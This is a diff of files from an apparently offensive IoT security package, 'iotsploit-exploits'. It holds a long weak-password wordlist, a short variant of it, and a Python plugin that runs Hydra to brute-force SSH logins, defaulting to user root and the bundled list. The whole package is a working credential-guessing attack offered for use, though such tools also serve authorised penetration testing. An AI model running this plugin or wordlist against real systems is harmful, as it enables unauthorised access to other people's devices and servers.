iotsploit-exploits 0.0.6__py3-none-any.whl

iotsploit_exploits/hydra_cracker/weak_pass.txt

@@ -0,0 +1,471 @@
+
+123qwe
+123asd
+123zxc
+1234qwer
+Admin123
+admin
+ADMIN
+Admin
+admin@123
+admin$123
+admin$
+adminadmin
+1
+123
+123456
+12345678
+123456789
+88888888
+P@ssw0rd
+P@ssw0rd12
+P@ssword
+P@ssword12
+ADMIN@123
+ABCD123
+1qaz2wsx3edc
+zaq1xsw2
+3edc4rfv
+vfr43edc
+2wsxcde3
+user
+test
+guest
+idc
+idcidc
+idc123
+4321dcba
+456
+admin123
+@$$w0rd
+@$$word
+@$$w0rd1
+@$$word1
+@$$w0rd123
+admin234
+admins
+admin123456
+administrator
+administrators
+123456.com
+123123
+idc123!@#
+aaa123!@#
+qq123.com
+wantian##*(
+qwe123
+qwe1234
+123qwer
+1qaz2wsx
+1qaz
+159753
+!Q@W#E
+159357
+147369
+1234567
+password
+aistar123<>!N
+321
+idcji2010
+qqqqqq
+1q2w3e
+q1w2e3
+336699
+abc123
+123abc
+asd123
+123654
+111111
+111
+111qqq...
+953139.
+0258
+111qqq!!!
+1236
+qqii
+tyinfo
+abcd36888
+rst_login
+OAOidc
+OAOidc123!@#
+OAOidc123
+esin888
+qwer
+power123
+power.liu
+power.yu
+dns99+588
+zhengui
+idc0.1
+7715123
+sdwer
+power.zhao
+sdwer123
+qwer1234
+esincs
+jspower123.0
+5656789
+2323456
+power.com
+power123.0
+power0.123
+jspower.com
+hlwj0519-1205.jf
+123321
+zaxscdvf
+..0
+!@#$QWER
+95313
+1231321
+321123
+vipnew
+idc0514
+1235698
+235689
+326598
+112233
+111222
+idc11
+21vianet
+#@!ewq
+1010
+111qqq
+1234%^&*
+12345^&*()
+4867086
+123!@#
+123456!@#
+10000
+794613
+784512
+895623
+789456
+456123
+654321
+1234!@#$
+11185
+12345!@#$%
+qwe123!@#
+!@#123
+!@#321
+123#@!
+19861212
+19831212
+19841020
+#@!123
+#@!321
+!@#$%^&*()
+)(*&^%$#@!
+987654321
+0987654321
+tyidc
+1122
+idcidcok
+idcuser
+abcd1234
+4321abcd
+1234abcd
+1234ABCD
+4321ABCD
+caonima
+1q2w3e4r
+888888
+admin!@#
+abc!@#
+!Q@W#E$R%T
+idc2010
+1q2w3e4r5t
+qqaazz
+asdasd
+admin1
+aaa111
+111aaa
+123aaa
+lh222
+lhidc
+123a
+a123
+123456a
+a123456
+aaa123
+qazwsx
+qazxsw
+0123
+123112233
+123111
+www.7x24.cn
+shisp.net
+123000
+idc0123
+1230..
+123456qwe
+12345qwert
+zxcvbnm
+qwerty
+qweqwe
+123ewq
+qwe321
+huaiyukeji115
+idc9aewr42
+123asdasd
+qsx6059410172.
+idc0001
+idc800888
+idc46121
+882627.8
+852799!!!
+.......199
+xu15817079919
+yanjin0429
+zhangznw
+13527380230
+idc0.01
+idc123&123
+662766
+122.224
+.......199@
+liuzhangzi1988
+123456!@#$%^
+dahouzi110
+123.789+
+trista188#**
+mm1237
+07736056123
+TnHoo15862380404
+189532210113
+gedingfeng1102888
+1234.abcABC
+zaq123.321
+qwer1234!@#$
+123456abc
+123+456+789
+123.456.789
+123+123
+000000
+258
+qwe147258
+qwe147
+147147
+258258
+369369
+147258369
+741852963
+1234ASDFasdf
+1234qwerQWER
+1234asdfASDF
+123QWErty
+123QWE456tyu
+123123a
+a123123
+ezidc123
+EZidz123
+Ezidc123
+EZidc
+idc!@#
+idc!!@@##
+123qazwsx
+123qweasd
+!qaz@wsx
+!qaz@WSX
+!QAZ@WSX
+ASDF1234
+ASDF1234!@#$
+123.456
+1qazxsw2
+1QAZxsw2
+!QAZxsw2
+!QAZXSW@
+asdf1234!@#$
+1234!@#$qwer
+1234asdf!@#$
+1234!@#$asdf
+asdf!@#$1234
+ZXCasdqwe
+QWEasd!@#
+QWEasd123
+zzidc123
+ZZidc123
+idczz123
+qq.COM
+RInima
+123!123
+QWEasd
+Admin!@#
+A123456A
+A123a123
+1234asdf
+1234zxcv
+123456qwert
+123qwe456rty
+321abc
+321.abc
+123.abc
+1234.abcd
+123456.123456
+123456456
+654321abc
+abcABC123
+ASD.123
+000123!@#
+2013@2013
+2012@2012
+520@1314
+123.qwe
+123.asd
+123.zxc
+1234.qwer
+1234.asdf
+1234.zxcv
+123$qwer
+123321abc
+123a321
+1qaz123
+1qaz123456
+1qaz741
+123qazwsxedc
+123qweasdzxc
+qweasd2012
+654321qweasd
+987456321
+123654789
+123qwe456asd
+123asd456zxc
+qwe0asd
+qwe@asd
+qwe@asd123
+1qazXSW@
+!QAZ2wsx
+1qaz@WSX
+1qaz2WSX
+1qaz@WSX123
+6543211qaz@WSX
+1231qaz@WSX
+1231qaz2wsx
+qweASD
+qweASD123
+1qaz@WSX2012
+1qaz@WSX3edc
+@WSX1qaz
+2012qwer1234
+2012qwerasd
+2012abc
+Knb1lQc2
+9ol.0p;/
+2012qwe
+2012asd
+2012zxc
+2012abcd
+2012qweasd2012
+@WSX#EDC
+#EDC$RFV
+$RFV%TGB
+%TGB^YHN
+^YHN&UJM
+&UJM*IK<
+*IK<(OL>
+(OL>)P:?
+2wsx3edc
+4rfv5tgb
+5tgb6yhn
+6yhn7ujm
+7ujm8ik,
+8ik,9ol.
+qazwsxedc2012
+zaqxswcde2012
+zaqxswcde
+123,./
+123456,./
+123456789,./
+qwe123,./
+qwer1234,./
+asd123,./
+zxc123,./
+abc123,./
+zxcvbnm123
+qwe@123123
+password.123
+xxxxxx
+a123.321
+a1234.1234
+qsc123qwe
+789qwe123
+789qwe&*(
+123qwe!@#
+caonima,./
+good.123
+good123!@#
+server1234ASDF
+1234QWER
+p0o9i8
+p0o9i8,./
+123zxc456
+123asd456
+qwer1234asdf
+qwe123asd!@#
+!qaz2WSX
+1QAZ2wsx
+q!w@e#r$t%
+sqlsql1433
+00123456..
+00123456...
+qwaasz!@#
+qweaasdzxc
+happynewyear
+aa123456
+aasd123456
+aasd.12345
+Abcd1234
+idc200999
+!2#4%6
+!2#4%6&
+ZAQ!2wsx
+ZAQ!xsw2
+!QWE!asd
+QWE!asd!
+qwe!asd!
+qwe!@#asd
+qwe!@#asd!@#
+ewq1rew2tre3
+happy2013
+2013happy
+2012happy
+2013.happy
+qwer01234!!!
+qwer01234!@#$
+qwer.01234
+shabiniqusi
+nishi2b
+2013woquni
+1314woquni
+2013104quni
+20122012
+20122013
+20132013
+20132014
+niqusibani
+AdMin123
+aDmin123
+Admin2013
+kiss2012
+Kiss2013
+hp123456
+7u8i9o0p
+6y7u8i9o0p
+wobashiligang
+nibashinigang
+TMD123!@#
+Tmd123456!@#
+123456QWEASD%
+jnstyle
+3389style
+2012style
+2013style
+style123!@#
+style123456
+style12345
+12345style
+style789789
+style20122012
+style520
+3gqq.com
+ghb123456!

iotsploit_exploits/hydra_cracker/weak_pass_simple.txt

@@ -0,0 +1,5 @@
+123
+123123
+123456
+999999
+qwerqwer

iotsploit_exploits/hydra_ssh_attack.py

@@ -0,0 +1,159 @@
+#!/usr/bin/python3
+
+import logging
+import pluggy
+from importlib.resources import files
+from typing import Optional
+from iotsploit_core.core.exploit_spec import ExploitResult
+from iotsploit_core.core.base_plugin import BasePlugin
+from iotsploit_core.core.tool_service import get_network_service
+
+logger = logging.getLogger(__name__)
+hookimpl = pluggy.HookimplMarker("exploit_mgr")
+
+
+def _extract_ip_from_target(target: Optional[dict]) -> Optional[str]:
+    """
+    Extract IP address from target dict.
+
+    Design decision:
+    - Plugin runs in dict mode at the boundary.
+    - The canonical key for IP is `ip_address` (consistent with core domain Target.get_info()).
+    """
+    if not isinstance(target, dict):
+        return None
+    ip = target.get("ip_address") or target.get("ip") or target.get("host")
+    if isinstance(ip, str) and ip.strip():
+        return ip.strip()
+    return None
+
+class HydraSSHAttackPlugin(BasePlugin):
+    def __init__(self):
+        super().__init__({
+            'Name': 'Hydra SSH Attack',
+            'Description': 'Performs a brute-force SSH password attack using Hydra.',
+            'License': 'GPL',
+            'Author': ['iotsploit'],
+            'RequiresRoot': False,
+            'Parameters': {
+                'username': {
+                    'type': 'str',
+                    'required': True,
+                    'description': 'Username for SSH login',
+                    'default': 'root'
+                },
+                'password_list': {
+                    'type': 'str',
+                    'required': True,
+                    'description': 'Path to the password list file',
+                    'default': str(files('iotsploit_exploits') / 'hydra_cracker' / 'weak_pass.txt')
+                },
+                'threads': {
+                    'type': 'int',
+                    'required': False,
+                    'description': 'Number of parallel threads',
+                    'default': 4
+                },
+                'port': {
+                    'type': 'int',
+                    'required': False,
+                    'description': 'SSH port number',
+                    'default': 22
+                }
+            }
+        })
+        self.network_service = get_network_service()
+
+    @hookimpl
+    def initialize(self, device_plugin=None):
+        logger.debug("Initializing HydraSSHAttackPlugin")
+        
+        # Check if hydra is available through the tool service
+        if not self.network_service.is_tool_available('hydra'):
+            logger.warning("Hydra is not available. Please install it to use this plugin.")
+            logger.info("Install hydra using: sudo apt install hydra (Debian/Ubuntu) or your system's package manager")
+        else:
+            logger.info("Hydra tool is available and ready to use")
+
+    @hookimpl
+    def execute(self, target: Optional[dict] = None, parameters: Optional[dict] = None) -> ExploitResult:
+        logger.info("Executing HydraSSHAttackPlugin")
+        try:
+            # Execute the attack
+            result = self._execute_attack(target, parameters)
+            return result
+            
+        except Exception as e:
+            logger.error(f"Error during Hydra SSH attack: {str(e)}")
+            return ExploitResult(False, f"Hydra SSH attack failed: {str(e)}", {})
+
+    def _execute_attack(self, target: Optional[dict], parameters: Optional[dict]) -> ExploitResult:
+        """Helper method to execute the actual attack"""
+        logger.info(f"Executing HydraSSHAttackPlugin with target: {target} and parameters: {parameters}")
+        
+        # Check if hydra is available
+        if not self.network_service.is_tool_available('hydra'):
+            return ExploitResult(False, "Hydra tool is not available. Please install it first.", {})
+        
+        # Extract IP from target dict (normalized by exploit_manager)
+        target_ip = _extract_ip_from_target(target)
+        if not target_ip:
+            logger.warning("No valid target IP. Expected dict with 'ip_address' key.")
+            return ExploitResult(False, "Missing target ip_address (dict target expected)", {})
+
+        # Get parameters with defaults
+        parameters = parameters or {}
+        username = parameters.get('username', self.info['Parameters']['username']['default'])
+        password_list = parameters.get('password_list', self.info['Parameters']['password_list']['default'])
+        threads = parameters.get('threads', self.info['Parameters']['threads']['default'])
+        port = parameters.get('port', self.info['Parameters']['port']['default'])
+
+        logger.info(f"Starting SSH brute force attack on {target_ip}:{port} with username '{username}'")
+
+        try:
+            # Build Hydra command arguments
+            args = [
+                '-t', str(threads),
+                '-l', username,
+                '-P', password_list
+            ]
+            
+            # Add port if not default
+            if port != 22:
+                args.extend(['-s', str(port)])
+            
+            # Add target with protocol
+            args.append(f'ssh://{target_ip}')
+            
+            logger.info(f"Executing Hydra with args: {args}")
+            
+            # Use the network service to execute Hydra
+            result = self.network_service.execute_tool('hydra', args, timeout=600)
+            
+            if result.success:
+                logger.info(f"Hydra SSH attack completed successfully")
+                return ExploitResult(True, "Hydra SSH attack executed successfully", {
+                    "output": result.stdout,
+                    "execution_time": result.execution_time,
+                    "command": result.command
+                })
+            else:
+                logger.warning(f"Hydra SSH attack completed with return code {result.return_code}")
+                return ExploitResult(False, "Hydra SSH attack failed to find credentials", {
+                    "output": result.stdout,
+                    "error": result.stderr,
+                    "return_code": result.return_code,
+                    "execution_time": result.execution_time
+                })
+                
+        except RuntimeError as e:
+            logger.error(f"Tool execution error: {str(e)}")
+            return ExploitResult(False, f"Tool execution error: {str(e)}", {})
+        except Exception as e:
+            logger.error(f"Unexpected error during Hydra execution: {str(e)}")
+            return ExploitResult(False, f"Unexpected error: {str(e)}", {})
+
+    @hookimpl
+    def cleanup(self):
+        logger.info("Cleaning up HydraSSHAttackPlugin")
+        pass